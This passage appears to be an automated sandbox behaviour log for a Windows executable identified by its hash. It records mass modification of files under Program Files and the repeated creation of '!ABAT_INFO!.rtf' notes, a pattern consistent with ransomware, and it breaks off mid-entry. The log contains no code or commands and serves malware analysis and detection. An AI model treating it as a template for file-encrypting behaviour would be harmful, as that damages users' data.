81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Panama 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\de.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\sunjce_provider.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\el.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Interface.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\classlist 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cayman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\HST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Explorer.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\South_Georgia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\UCT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Recife 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.jasper.glassfish_2.2.2.v201205150955.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-multitabs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_CopyNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Galapagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Chisinau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director_2.3.100.v20140224-1921.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\charsets.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Chagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\dependentlibs.list 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Atikokan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\ADMPlugin.apl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Menominee 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\java.security 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Port_of_Spain 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Dataset.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Madrid 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\servertool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\schemagen.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pohnpei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Paramaribo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.servlet_3.0.0.v201112011016.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rankin_Inlet 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Pyongyang 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-io.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\reader_sl.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Text.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-charts.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-outline.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SaveAsRTF.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chihuahua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.jetty_3.0.200.v20131021-1843.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Guayaquil 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Tirane 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\uninstall\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\profile.jfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\unpack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_fr.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\uninstall\helper.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Ojinaga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\chrome_100_percent.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.sun.el_2.2.0.v201303151357.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\jfluid-server_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\DVA.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vilnius 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kosrae 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\javafx.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dushanbe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Qatar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\2d.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\LogoCanary.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\tesselate.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guyana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\jvm.lib 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets_1.0.0.v20140514-1823.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EST5EDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rio_Branco 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Stockholm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Kentucky\Monticello 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.runtime_3.10.0.v20140318-2214.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program 